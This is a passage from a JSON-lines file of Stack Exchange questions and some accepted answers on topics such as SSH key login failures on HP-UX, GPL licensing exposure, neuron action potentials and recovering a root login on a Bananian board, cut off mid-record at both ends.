incompatible with inner voice."  , "title": "What is the neurobiological basis of the inner voice used for thought or reading?"  , "tags": "neurobiology;cognitive neuroscience;language"  } 
{  "id": "_webapps.25521"  , "question": "Can the court in anyway have access to a deactivated Facebook account? And if so, can they recover the permanently deleted account?"  , "title": "Deactivated Facebook accounts used in court"  , "tags": "facebook;user interface"  } 
{  "id": "_webmaster.46765"  , "question": "Q1)If any automated bot visits my domain will Google Analytics consider it as traffic?What all factors does the Google Analytics consider to be legit traffic?Q2)If a user visits xyz.domain.com ,Does Google Analytics consider that it visited domain.com? "  , "title": "How does Google Analytics consider traffic?"  , "tags": "google;google analytics"  } 
{  "id": "_softwareengineering.115720"  , "question": "I need 2 capabilities:calculating mutual friends distinguishing between different types of edges, (e.g. FRIEND, ENEMY and other)getting relationships distinguishing between different types of edges as overMy problem is speed: If I use a database as MySQL, I can get thousands of relationships in few moments, but if I need to calculate mutual friends, it costs a lot for my server, doesn't it?I've about 100,000 accounts on my site, and I want to introduce a relationship system, but obviously I have to decide the right way to develop it. Do you have any idea?"  , "title": "Which database should I use to manage relationship?"  , "tags": "architecture;database;database design"  } 
{  "id": "_webmaster.17609"  , "question": "I just purchased and set up a Linode VPS. Normally I purchase a new domain name and set it up with my hosting but on Linode didn't ask for that. What I have to do to publish my web application to Linode?"  , "title": "Publishing a web application with Linode"  , "tags": "publishing;linode"  , "accepted_answer": "Linode is not a managed service. This means you have to set everything up from a-z.They have a good range of stack scripts to setup your server. Then you'll need to add your domain using the DNS manager of the linode manager page. Then you'll probably need to manually configure your server's config files to add your domain.It's a bit of a process if you're new to it all, but that's actually the benefit of an un-managed VPS, having full control of the system.If you're new to this, and didn't realise what you were getting into, it might be best to lodge a support request for a refund. And next time look for a Managed VPS. Managed means someone will set it all up for you.Hope this helps."  } 
{  "id": "_unix.211237"  , "question": "I have been learning about different IPC mechanisms present in Linux, for communication between user space processes.I want to ask what are various ways in Linux for the kernel to communicate with the user space process (kind of opposite to system call, where user space initiates request) ? Can signal be one of them ? What are the others ?"  , "title": "Linux process - messages from kernel"  , "tags": "linux;linux kernel"  } 
{  "id": "_unix.159947"  , "question": "I have an NFS mount that I use to log into many Linux/Unix servers. I created a passphraseless RSA and DSA key from with I copied the id_rsa.pub and id_dsa.pub files over to authorized_keys. total 9drwx------.  2 myusername mygroup 1024 Oct  7  2014 .drwxr-xr-x. 16 myusername mygroup 1024 Oct  7  2014 ..-rw-------.  1 myusername mygroup  621 Oct  7  2014 authorized_keys-rw-------.  1 myusername mygroup     668 Oct  7  2014 id_dsa-rw-r--r--.  1 myusername mygroup     620 Oct  7  2014 id_dsa.pub-rw-------.  1 myusername mygroup  887 Oct  7  2014 id_rsa-rw-r-----.  1 myusername mygroup  224 Oct  7  2014 id_rsa.pub-rw-r--r--.  1 myusername mygroup 1276 Oct  7  2014 known_hostsNow I am able to log into another Linux server without entering a password (great!), but the same thing doesn't work for the HP-UX machines. Not only does this not work it prevents me from logging in altogether. The password prompt will not take my password (neither ldap or local). Here is the output when I try to connect.[myusername@machine1 .ssh]$ ssh -vvv machine2OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010debug1: Reading configuration data /etc/ssh/ssh_configdebug1: Applying options for *debug2: ssh_connect: needpriv 0debug1: Connecting to machine2 [192.168.100.50] port 22.debug1: Connection established.debug1: identity file /home/mynfsmount/myusername/.ssh/identity type 0debug3: Not a RSA1 key file /home/mynfsmount/myusername/.ssh/id_rsa.debug2: key_type_from_name: unknown key type '-----BEGIN'debug3: key_read: missing keytypedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug2: key_type_from_name: unknown key type '-----END'debug3: key_read: missing keytypedebug1: identity file /home/mynfsmount/myusername/.ssh/id_rsa type 1debug3: Not a RSA1 key file /home/mynfsmount/myusername/.ssh/id_dsa.debug2: key_type_from_name: unknown key type '-----BEGIN'debug3: key_read: missing keytypedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug3: key_read: missing whitespacedebug2: key_type_from_name: unknown key type '-----END'debug3: key_read: missing keytypedebug1: identity file /home/mynfsmount/myusername/.ssh/id_dsa type 2debug1: Remote protocol version 2.0, remote software version OpenSSH_3.9debug1: match: OpenSSH_3.9 pat OpenSSH_3.*debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_5.3debug2: fd 3 setting O_NONBLOCKdebug1: SSH2_MSG_KEXINIT sentdebug3: Wrote 792 bytes for a total of 813debug1: SSH2_MSG_KEXINIT receiveddebug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1debug2: kex_parse_kexinit: ssh-rsa,ssh-dssdebug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.sedebug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.sedebug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: none,zlib@openssh.com,zlibdebug2: kex_parse_kexinit: none,zlib@openssh.com,zlibdebug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1debug2: kex_parse_kexinit: ssh-rsa,ssh-dssdebug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctrdebug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctrdebug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96debug2: kex_parse_kexinit: none,zlibdebug2: kex_parse_kexinit: none,zlibdebug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5debug1: kex: server->client aes128-ctr hmac-md5 nonedebug2: mac_setup: found hmac-md5debug1: kex: client->server aes128-ctr hmac-md5 nonedebug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sentdebug1: expecting SSH2_MSG_KEX_DH_GEX_GROUPdebug3: Wrote 24 bytes for a total of 837debug2: dh_gen_key: priv key bits set: 137/256debug2: bits set: 496/1024debug1: SSH2_MSG_KEX_DH_GEX_INIT sentdebug1: expecting SSH2_MSG_KEX_DH_GEX_REPLYdebug3: Wrote 144 bytes for a total of 981debug3: check_host_in_hostfile: filename /home/mynfsmount/myusername/.ssh/known_hostsdebug3: check_host_in_hostfile: match line 1debug3: check_host_in_hostfile: filename /home/mynfsmount/myusername/.ssh/known_hostsdebug3: check_host_in_hostfile: match line 1debug1: Host 'machine2' is known and matches the RSA host key.debug1: Found key in /home/mynfsmount/myusername/.ssh/known_hosts:1debug2: bits set: 527/1024debug1: ssh_rsa_verify: signature correctdebug2: kex_derive_keysdebug2: set_newkeys: mode 1debug1: SSH2_MSG_NEWKEYS sentdebug1: expecting SSH2_MSG_NEWKEYSdebug3: Wrote 16 bytes for a total of 997debug2: set_newkeys: mode 0debug1: SSH2_MSG_NEWKEYS receiveddebug1: SSH2_MSG_SERVICE_REQUEST sentdebug3: Wrote 48 bytes for a total of 1045debug2: service_accept: ssh-userauthdebug1: SSH2_MSG_SERVICE_ACCEPT receiveddebug2: key: /home/mynfsmount/myusername/.ssh/id_rsa (0x7f83a699deb0)debug2: key: /home/mynfsmount/myusername/.ssh/id_dsa (0x7f83a699e540)debug3: Wrote 64 bytes for a total of 1109debug1: Authentications that can continue: publickey,password,keyboard-interactivedebug3: start over, passed a different list publickey,password,keyboard-interactivedebug3: preferred gssapi-keyex,gssapi-with-mic,publickey,keyboard-interactive,passworddebug3: authmethod_lookup publickeydebug3: remaining preferred: keyboard-interactive,passworddebug3: authmethod_is_enabled publickeydebug1: Next authentication method: publickeydebug1: Offering public key: /home/mynfsmount/myusername/.ssh/id_rsadebug3: send_pubkey_testdebug2: we sent a publickey packet, wait for replydebug3: Wrote 240 bytes for a total of 1349debug1: Server accepts key: pkalg ssh-rsa blen 149debug2: input_userauth_pk_ok: SHA1 fp 96:97:2b:5e:98:cd:2a:2e:5a:14:e1:ab:75:79:41:3f:eb:03:b1:65debug3: sign_and_send_pubkeydebug1: read PEM private key done: type RSAdebug3: Wrote 384 bytes for a total of 1733debug1: Authentications that can continue: publickey,password,keyboard-interactivedebug1: Offering public key: /home/mynfsmount/myusername/.ssh/id_dsadebug3: send_pubkey_testdebug2: we sent a publickey packet, wait for replydebug3: Wrote 528 bytes for a total of 2261debug1: Server accepts key: pkalg ssh-dss blen 434debug2: input_userauth_pk_ok: SHA1 fp 9b:97:04:7f:b8:09:ff:51:26:fa:d4:05:c0:e1:55:d3:2d:c0:54:60debug3: sign_and_send_pubkeydebug1: read PEM private key done: type DSAdebug3: Wrote 592 bytes for a total of 2853debug1: Authentications that can continue: publickey,password,keyboard-interactivedebug2: we did not send a packet, disable methoddebug3: authmethod_lookup keyboard-interactivedebug3: remaining preferred: passworddebug3: authmethod_is_enabled keyboard-interactivedebug1: Next authentication method: keyboard-interactivedebug2: userauth_kbdintdebug2: we sent a keyboard-interactive packet, wait for replydebug3: Wrote 96 bytes for a total of 2949debug2: input_userauth_info_reqdebug2: input_userauth_info_req: num_prompts 1Password: At this point it will keep prompting for a password until it disconnects me from to many authentication failures. If I remove or empty .ssh/authorized_keys it will work just fine after putting in my password. So it appears that the HP-UX machines are having trouble reading the public key in authorized_keys.To make matters worse, some of the other employees are able to authenticate with RSA/DSA to the HP-UX servers just fine. The problem is that they set up their configuration 8 years ago and have no clue what they did differently.  I've compared the files and permissions and don't see a difference. Here the ssh versions on the two machines I've tried to create the keys on:OpenSSH_3.9, OpenSSL 0.9.7d 17 Mar 2004HP-UX Secure Shell-A.03.91.002, HP-UX Secure Shell versionOpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010My syslog.log on the HP-UX machine doesn't give any useful information. The errors that you see below are caused from failed PAM authentication after the RSA public key has already been passed over. I'm including just for good measure.Oct  8 09:34:40 machine2 sshd[25497]: error: PAM: Success for myusername from machine1.example.comOct  8 09:34:40 machine2 sshd[25497]: Failed keyboard-interactive/pam for myusername from 192.168.100.90 port 59015 ssh2Oct  8 09:34:42 machine2 sshd[25497]: error: PAM: Authentication failed for myusername from machine1.example.comOct  8 09:34:43 machine2 sshd[25497]: Failed password for myusername from 192.168.100.90 port 59015 ssh2On the HP-UX machine I ran a sshd -d -p 5555 and connected with a client using ssh -p 5555 machine2. Here is the output. It doesn't seem to give any errors.# /usr/sbin/sshd -d -p 5555debug1: sshd version OpenSSH_3.9 [ HP-UX Secure Shell-A.03.91.002 ]debug1: read PEM private key done: type RSAdebug1: private host key: #0 type 1 RSAdebug1: read PEM private key done: type DSAdebug1: private host key: #1 type 2 DSAdebug1: rexec_argv[0]='/usr/sbin/sshd'debug1: rexec_argv[1]='-d'debug1: rexec_argv[2]='-p'debug1: rexec_argv[3]='5555'debug1: Bind to port 5555 on 0.0.0.0.Server listening on 0.0.0.0 port 5555.debug1: Server will not fork when running in debugging mode.debug1: rexec start in 5 out 5 newsock 5 pipe -1 sock 8I give up for now. I just put that same RSA public key from my local account into root's authorized_keys and I was able to log in as root flawlessly. Then I put roots RSA public key in my local account's authorized_keys and it worked as well.The problem only appears to be when I ssh from my NFS mounted account to my NFS mounted account. Why that would make any difference I don't know."  , "title": "DSA/RSA keys work with Linux but not HP-UX"  , "tags": "ssh;authentication;hp ux"  } 
{  "id": "_softwareengineering.201908"  , "question": "I am a new to storing dates based on time zones.Need to know the standard way to store the date in the datastore.My requirements areEasy to query the date based on the date range. show the date with the client appropriate time zone selected by him(I am having a table maintained for the timezone separately) Able to query using the datastore Admin console also.Any suggestions/ideas regarding this will be a great help in proceeding further."  , "title": "What is the best way of storing date?"  , "tags": "java;google app engine"  } 
{  "id": "_unix.36021"  , "question": "How can I change 'change' date?$ touch -t 9901010000 test;stat test  File: `test'  Size: 0           Blocks: 0          IO Block: 4096   regular empty fileDevice: fe01h/65025d    Inode: 11279017    Links: 1Access: (0644/-rw-r--r--)  Uid: ( 1000/    x)   Gid: ( 1000/    x)Access: 1999-01-01 00:00:00.000000000 +0100Modify: 1999-01-01 00:00:00.000000000 +0100**Change: 2012-04-08 19:26:56.061614473 +0200** Birth: -"  , "title": "How can I change 'change' date of file?"  , "tags": "linux;files;timestamps"  } 
{  "id": "_cogsci.3425"  , "question": "For some time I have been very interested in the intelligent design (ID)/creationism vs. evolution debate.  My parents are both medical professionals and consider themselves creationists.  I have many other family members who are also medical professionals and believe in creationism.  While reading webpages on the subject and other widely rejected ideas, my experience suggested that medical professionals were more likely to accept such ideas than people from other technical professions.  Is there any evidence to support this?Are people from medical professions more likely than average to accept conspiracy theories?I did find one article that appeared to address the issue, but I could not find a free copy of it anywhere."  , "title": "Is there a variance in acceptance of conspiracy theories by occupation?"  , "tags": "social psychology"  } 
{  "id": "_cogsci.9173"  , "question": "To my understanding, the steps of an action potential are as follows:The neuron is at rest--there is a negative charge (K ions) inside the cell, and a positive charge (Na ions) outside the cell. Pumps work hard, pumping in K and pumping out Na to maintain this polarization.Excitatory NTs bind with the dendrites. As soon as it's over a certain threshold it triggers an action potential.The inside of the cell depolarizes, and the depolarized chunk propagates through the axon.Now here's my confusion:A. How do neurotransmitters manage to depolarize the inside of the cell? Do they force the cell to give up pumping out Na ions? Do the neurotransmitters themselves contain positively charged ions that the ion pumps are not sensitive to?B. When the cell depolarizes, the electrical impulse travels down the axon. When this happens, Na+ and K+ ions rapidly pass through the membrane as the signal fires. (Like this picture) http://en.wikipedia.org/wiki/Action_potential#mediaviewer/File:Action_Potential.gifWhy are ions being pumped in and out of the axon in such a way to propagate an action potential? Why isn't it just a positively charged signal running through the axon, without regard to the outside environment? (please let me know if this is unclear!)"  , "title": "Explanatory gaps in the formation and propagation of action potentials"  , "tags": "neurobiology;neurophysiology"  , "accepted_answer": "I will try to answer all of your main and sub questions structurally below:How do neurotransmitters manage to depolarize the inside of the cell?Do they force the cell to give up pumping out Na ions?No, the Na,K-ATPase (the sodium potassium pump) keeps active, also during the action potential (AP). Do the neurotransmitters themselves contain positively charged ions that the ion pumps are not sensitive to?They can, but neurotransmitter charge is irrelevant.Answer: Neurotransmitters bind to their corresponding receptors. An example excitatory neurotransmitter is glutamate (Glu). Glu has many receptors and one of them is the NMDA receptor. The NMDA receptor is coupled to a cation channel that opens when Glu binds (and other conditions pertain). In turn Na+ and other depolarizing cations can enter the cell through the open channel. Other neurotransmitters and receptor mechanisms exist, but the coupling to a cation channel is a commonly encountered theme.  When the cell depolarizes, the electrical impulse travels down the axon. When this happens, Na+ and K+ ions rapidly pass through the membrane as the signal fires. [...]Why are ions being pumped in and out of the axon in such a way to propagate an action potential?During an action potential, the voltage changes are not the result of ions being pumped in or out of the cell. Instead, ions flow along their concentration and charge gradients out or in the cell during an action potential. For example, Na+, a key ion in any action potential, flows passively into the cell during an action potential. Passive influx occurs, because Na+ is continuously and actively pumped out of the cell into the extracellular fluid by the Na,K-ATPase. Moreover, the inside of the cell is highly negatively charged. Both the concentration gradient and charge gradient (i.e., the potential difference) will cause Na+ to surge into the cell once Na+ channels open. How then does it move across the axon? The trick is that Na+ depolarizes the cell membrane. When for example Glu binds to its NMDA receptor, Na+ enters the cell into the dendrite. Then, voltage-gated ion channels take over. Voltage-gated ion channels open or close depending on the local membrane potential. Most notably, voltage-gated sodium channels (VGSCs) open when the cell membrane depolarizes. Hence, after NMDA receptors are activated in the dendrite, Na+ enters. This in turn depolarizes the dendrite and VGSCs open. This causes further depolarization and adjacent VGSCs open etc. etc. Voltage-gated potassium channels open after the VGSCs and re-polarize the membrane. An overview is provided in the following image from Antranik.org : Why isn't it just a positively charged signal running through the axon, without regard to the outside environment?Charges only move to an opposite charge. A neuron is not differentially charged from dendrite to axon terminal. Hence another way of action potential transduction is needed. Step-wise opening of VGSCs is a clever trick to use a constant cell membrane potential to generate a directional action potential.  "  } 
{  "id": "_opensource.1544"  , "question": "I am a contributor to a very old project presently in violation of the GPL. Our project is a plugin for a closed-source program, but the GPL does not permit this kind of linking. The project should have been licensed under the LGPL instead, but the original authors were not aware of this.Relicensing is already covered in another question, so we will ignore that here.There are only about 30 contributors to the project, but it's almost ten years old at this point. Many have moved on to other projects.The contributors clearly intended for their work to be used with the closed-source program in question. They did not know the GPL forbade it. It is exceedingly unlikely that one of them will take legal action against the project.If the project continues despite the GPL violation, what is our legal exposure to third parties? Can the FSF or any other group sue us?"  , "title": "GPL Violation - What is our legal exposure to third parties (not our contributors)?"  , "tags": "gpl;law;collaboration;enforcement"  , "accepted_answer": "If the project does not create and distribute a combined work of the plugin and the closed source host, then I see no realistic liability. This is because you aren't violating the GPL. A violation occurs when someone combines the GPL library with the closed source component and then distributes the result. You haven't done that, so you haven't violated anything. Someone who uses your plugin in the privacy of their home or business, but doesn't redistribute it, doesn't violate the GPL, either.Only the copyright holders of your project have a course of action if someone does combine the works and distribute them. So if all of you agree that it was your intent to permit this use, then none of you will bother users. If none of you bother users, including anyone who creates and distributes a combination, there is no one to sue anyone else.A very faint liability might come into play if, in fact, some copyright holder did sue some third party for violating the license, and the third-party tried to come up with a counter-suite that you all somehow led him or her astray. I don't believe it; at worse, the fact that you all published this component looks to me like estoppel against any attempt by any of you to enforce the license.Remember, the GPL is a license that you, the copyright holder, grant. You own the rights. You are the only people who can bother anyone else for violating the terms of the license. If you choose (like Linux) to take a different view of plugins and linkage, you can do that."  } 
{  "id": "_unix.385552"  , "question": "I'm running Bananian linux on my Banana Pro recently I changed some config settings but quit it with ctrl + c without finishing editing all the config settings. After restart I am unable to login with default login - root, I get the error incorrect login every time I try. I tried checking my username in /etc/passwd and /etc/shadow/etc/passwd fileroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/falsentp:x:104:109::/home/ntp:/bin/falsesshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin./etc/shadow fileroot:$6$9KzHxAiY$L8WtC4E1KoZYbzaxMCK4AhpVGfS3oKLNdn1YjIbunGcQDJLm8GwjRy1fXU7vhHh7DrR8hNChqPnaoL76efh/f/:14610:0:99999:7:::daemon:*:16628:0:99999:7:::bin:*:16628:0:99999:7:::sys:*:16628:0:99999:7:::sync:*:16628:0:99999:7:::games:*:16628:0:99999:7:::man:*:16628:0:99999:7:::lp:*:16628:0:99999:7:::mail:*:16628:0:99999:7:::news:*:16628:0:99999:7:::uucp:*:16628:0:99999:7:::proxy:*:16628:0:99999:7:::www-data:*:16628:0:99999:7:::backup:*:16628:0:99999:7:::list:*:16628:0:99999:7:::irc:*:16628:0:99999:7:::gnats:*:16628:0:99999:7:::nobody:*:16628:0:99999:7:::systemd-timesync:*:16628:0:99999:7:::systemd-network:*:16628:0:99999:7:::systemd-resolve:*:16628:0:99999:7:::systemd-bus-proxy:*:16628:0:99999:7:::ntp:*:16628:0:99999:7:::sshd:*:16628:0:99999:7:::"  , "title": "Unable to recover lost login"  , "tags": "debian;login;password;passwd;shadow"  , "accepted_answer": "Since you seem to have access to /etc/shadow as a privileged user (sudo?), do sudo passwd root If on the other hand, you are editing the filesystem in the MicroSD card in another machine, just edit out the root password in /etc/shadow. Delete the encrypted password field as in:root::14610:0:99999:7:::Then you will be able to enter as root in the console, press ENTER when asked for the password, and change it once you login with passwd."  } 
{  "id": "_codereview.132960"  , "question": "I'm working on a Meteor application which integrates a user's contacts from external sources (Google in the case of this example). I'm currently writing the server side code to retrieve this data and send it to the client.I figured using promises to do this made sense due to the asynchronous manner of requests. So I have getContacts which sends the request to the Google API, and processContacts which processes and formats the response data:getContacts = function (accessToken) {  return new Promise(function (resolve) {    httpRequest.get({      url: 'https://www.google.com/m8/feeds/contacts/default/full?alt=json',      auth: {        'bearer': accessToken      },      headers: {        'GData-Version': 3.0      },    }, function (err, res, body) {      resolve(body);    });  });}processContacts = function(googleContacts) {  return new Promise(function(resolve) {    const contacts    = JSON.parse(googleContacts).feed.entry;    const allContacts = [];    const groupedContacts = { conflicts: [], new: [] };    ...        ...    resolve(groupedContacts);  });}I have a Meteor method google.contacts.import which is called synchronously from the client, and because all of this is asynchronous I'm using a future to force the client to wait for the call to finish:    Meteor.methods({  'google.integration.import'(orgId) {    check(orgId, String);    const user = Users.getOne(Meteor.userId());    let fut = new Future();    getContacts(user.services.google.accessToken)    .then(processContacts)    .then(function(contacts){      fut.return(contacts);    })    .catch(function(err){      console.log('error! :' + err);    });    return fut.wait();  },})This all works fine, but it seems...messy or somewhat convoluted. I'm relatively new to Javascript and ES6 in particular so I feel I could definitely improve this. Am I correct to be using promises here? I guess they probably aren't necessary in the case of processContacts. I also realize this is lacking in terms of error checking/reporting.Any help or guidance is appreciated!"  , "title": "Using promises to GET and process data"  , "tags": "javascript;asynchronous;ecmascript 6;meteor"  } 
{  "id": "_unix.316264"  , "question": "I had issues with 1.2.x version of insync, so I googled for its website and I downloaded the deb file of the newest version for my 64 bit debian. dpkg couldn't install it, even setting the --force-all option, the output is    ale@debian:~/Scaricati$ sudo dpkg --force-all -i insync_1.3.12.36116-wheezy_amd64.deb    [sudo] password for ale:             (Reading database ... 342721 files and directories currently installed.)   Preparing to unpack insync_1.3.12.36116-wheezy_amd64.deb ...   Traceback (most recent call last):     File <string>, line 5, in <module>   zipimport.ZipImportError: not a Zip file: '/usr/lib/insync/library.zip'   dpkg: warning: subprocess old pre-removal script returned error exit status 1   dpkg: trying script from the new package instead ...   Traceback (most recent call last):     File <string>, line 5, in <module>   zipimport.ZipImportError: not a Zip file: '/usr/lib/insync/library.zip'   dpkg: error processing archive insync_1.3.12.36116-wheezy_amd64.deb (--install):    subprocess new pre-removal script returned error exit status 1   Traceback (most recent call last):     File <string>, line 5, in <module>   zipimport.ZipImportError: not a Zip file: '/usr/lib/insync/library.zip'   *** Error in `dpkg': munmap_chunk(): invalid pointer: 0x000055edcb3d9751 ***   ======= Backtrace: =========   /lib/x86_64-linux-gnu/libc.so.6(+0x3d93a70bcb)[0x7f34a30b2bcb]   /lib/x86_64-linux-gnu/libc.so.6(+0x3d93a76fa6)[0x7f34a30b8fa6]   dpkg(+0x20060)[0x55edc8b7c060]   dpkg(+0x204b9)[0x55edc8b7c4b9]   dpkg(+0x277fa)[0x55edc8b837fa]   dpkg(+0x16b07)[0x55edc8b72b07]   dpkg(+0x16ce5)[0x55edc8b72ce5]   dpkg(+0x16f2d)[0x55edc8b72f2d]   dpkg(+0xa297)[0x55edc8b66297]   dpkg(+0x1ff9b)[0x55edc8b7bf9b]   dpkg(+0x201a1)[0x55edc8b7c1a1]   dpkg(+0x9d22)[0x55edc8b65d22]   dpkg(+0x66a9)[0x55edc8b626a9]   /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f34a30622b1]   dpkg(+0x67e9)[0x55edc8b627e9]   ======= Memory map: ========   55edc8b5c000-55edc8ba0000 r-xp 00000000 08:06 5505633                    /usr/bin/dpkg   55edc8da0000-55edc8da3000 r--p 00044000 08:06 5505633                    /usr/bin/dpkg   55edc8da3000-55edc8da4000 rw-p 00047000 08:06 5505633                    /usr/bin/dpkg   55edc8da4000-55edc8fb8000 rw-p 00000000 00:00 0    55edcac76000-55edceccb000 rw-p 00000000 00:00 0                          [heap]   7f34a1bff000-7f34a1c15000 r-xp 00000000 08:06 5637055                    /lib/x86_64-linux-gnu/libgcc_s.so.1   7f34a1c15000-7f34a1e14000 ---p 00016000 08:06 5637055                    /lib/x86_64-linux-gnu/libgcc_s.so.1   7f34a1e14000-7f34a1e15000 rw-p 00015000 08:06 5637055                    /lib/x86_64-linux-gnu/libgcc_s.so.1   7f34a1e15000-7f34a2170000 rw-p 00000000 00:00 0    7f34a2170000-7f34a217a000 r-xp 00000000 08:06 5637413                    /lib/x86_64-linux-gnu/libnss_files-2.24.so   7f34a217a000-7f34a237a000 ---p 0000a000 08:06 5637413                    /lib/x86_64-linux-gnu/libnss_files-2.24.so   7f34a237a000-7f34a237b000 r--p 0000a000 08:06 5637413                    /lib/x86_64-linux-gnu/libnss_files-2.24.so   7f34a237b000-7f34a237c000 rw-p 0000b000 08:06 5637413                    /lib/x86_64-linux-gnu/libnss_files-2.24.so   7f34a237c000-7f34a2382000 rw-p 00000000 00:00 0    7f34a2382000-7f34a238d000 r-xp 00000000 08:06 5637477                    /lib/x86_64-linux-gnu/libnss_nis-2.24.so   7f34a238d000-7f34a258c000 ---p 0000b000 08:06 5637477                    /lib/x86_64-linux-gnu/libnss_nis-2.24.so   7f34a258c000-7f34a258d000 r--p 0000a000 08:06 5637477                    /lib/x86_64-linux-gnu/libnss_nis-2.24.so   7f34a258d000-7f34a258e000 rw-p 0000b000 08:06 5637477                    /lib/x86_64-linux-gnu/libnss_nis-2.24.so   7f34a258e000-7f34a25a2000 r-xp 00000000 08:06 5639731                    /lib/x86_64-linux-gnu/libnsl-2.24.so   7f34a25a2000-7f34a27a2000 ---p 00014000 08:06 5639731                    /lib/x86_64-linux-gnu/libnsl-2.24.so   7f34a27a2000-7f34a27a3000 r--p 00014000 08:06 5639731                    /lib/x86_64-linux-gnu/libnsl-2.24.so   7f34a27a3000-7f34a27a4000 rw-p 00015000 08:06 5639731                    /lib/x86_64-linux-gnu/libnsl-2.24.so   7f34a27a4000-7f34a27a6000 rw-p 00000000 00:00 0    7f34a27a6000-7f34a27ad000 r-xp 00000000 08:06 5637380                    /lib/x86_64-linux-gnu/libnss_compat-2.24.so   7f34a27ad000-7f34a29ac000 ---p 00007000 08:06 5637380                    /lib/x86_64-linux-gnu/libnss_compat-2.24.so   7f34a29ac000-7f34a29ad000 r--p 00006000 08:06 5637380                    /lib/x86_64-linux-gnu/libnss_compat-2.24.so   7f34a29ad000-7f34a29ae000 rw-p 00007000 08:06 5637380                    /lib/x86_64-linux-gnu/libnss_compat-2.24.so   7f34a29ae000-7f34a29c6000 r-xp 00000000 08:06 5636302                    /lib/x86_64-linux-gnu/libpthread-2.24.so   7f34a29c6000-7f34a2bc5000 ---p 00018000 08:06 5636302                    /lib/x86_64-linux-gnu/libpthread-2.24.so   7f34a2bc5000-7f34a2bc6000 r--p 00017000 08:06 5636302                    /lib/x86_64-linux-gnu/libpthread-2.24.so   7f34a2bc6000-7f34a2bc7000 rw-p 00018000 08:06 5636302                    /lib/x86_64-linux-gnu/libpthread-2.24.so   7f34a2bc7000-7f34a2bcb000 rw-p 00000000 00:00 0    7f34a2bcb000-7f34a2bcd000 r-xp 00000000 08:06 5636507                    /lib/x86_64-linux-gnu/libdl-2.24.so   7f34a2bcd000-7f34a2dcd000 ---p 00002000 08:06 5636507                    /lib/x86_64-linux-gnu/libdl-2.24.so   7f34a2dcd000-7f34a2dce000 